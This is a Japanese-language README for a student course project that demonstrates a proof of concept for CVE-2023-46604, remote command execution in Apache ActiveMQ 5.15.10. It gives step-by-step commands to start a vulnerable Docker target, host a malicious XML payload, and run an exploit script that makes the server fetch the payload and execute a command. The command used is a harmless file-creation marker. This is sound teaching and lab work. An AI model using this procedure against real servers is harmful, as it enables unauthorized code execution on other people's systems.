
課題: SSP Assignment 3 チーム: RCE You Later メンバー: Banica Horia Alexandru, Comarlau Vlad-Constantin
このリポジトリを使用してPoCを実行する様子のビデオリンク: https://www.youtube.com/watch?v=vum4qTF4ygU
このリポジトリには、CVE-2023-46604 に対する完全に機能する概念実証 (PoC) が含まれています。 この脆弱性により、攻撃者は脆弱なApache ActiveMQサーバー(バージョン5.15.10)に悪意のあるXML設定ファイルを逆シリアル化させることで、任意のシェルコマンドを実行できます。
目標: 被害サーバー内に pwned_by_ssp_team というファイルを作成し、制御を証明します。
エクスプロイトを実行する前に、以下が整っていることを確認してください:
vulnerable-env/: 被害サーバーのDocker設定が含まれています。attacker/: エクスプロイトスクリプトと悪意のあるペイロードが含まれています。
exploit.py: 悪意のあるパケットを送信するPythonスクリプト。serve.py: XMLペイロードをホストするシンプルなHTTPサーバー。poc.xml: コマンド touch /tmp/pwned_by_ssp_team を含む悪意のある設定ファイル。Dockerを使って、古くて脆弱なバージョンのActiveMQを実行します。
vulnerable-env フォルダに移動します:
cd vulnerable-env
docker-compose up -d
被害サーバーは私たちから指示をダウンロードする必要があります。これらの指示をホストするために小さなWebサーバーをセットアップします。
attacker フォルダに移動します:
cd attacker
python3 serve.py
このターミナルは開いたままにしておいてください!「Serving HTTP on 0.0.0.0 port 8000...」と表示されるはずです。次に、脆弱性を引き起こす特定のネットワークパケットを送信します。
3つ目のターミナルを開きます。
attacker フォルダに移動します:
cd attacker
エクスプロイトスクリプトを実行します。
python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
host.docker.internal をネットワークブリッジのゲートウェイ(通常は 172.17.0.1)に置き換えてください。指定されたものが機能しない場合は、次のようにアドレスを取得してみてください:docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'成功しましたか?コンテナ内にファイルが作成されたか確認しましょう。
/tmp フォルダを確認するために次のコマンドを実行します:
docker exec activemq-victim ls -l /tmp
pwned_by_ssp_team という名前のファイルが表示されるはずです。脆弱なコンテナを停止して削除するには:
cd vulnerable-env
docker-compose down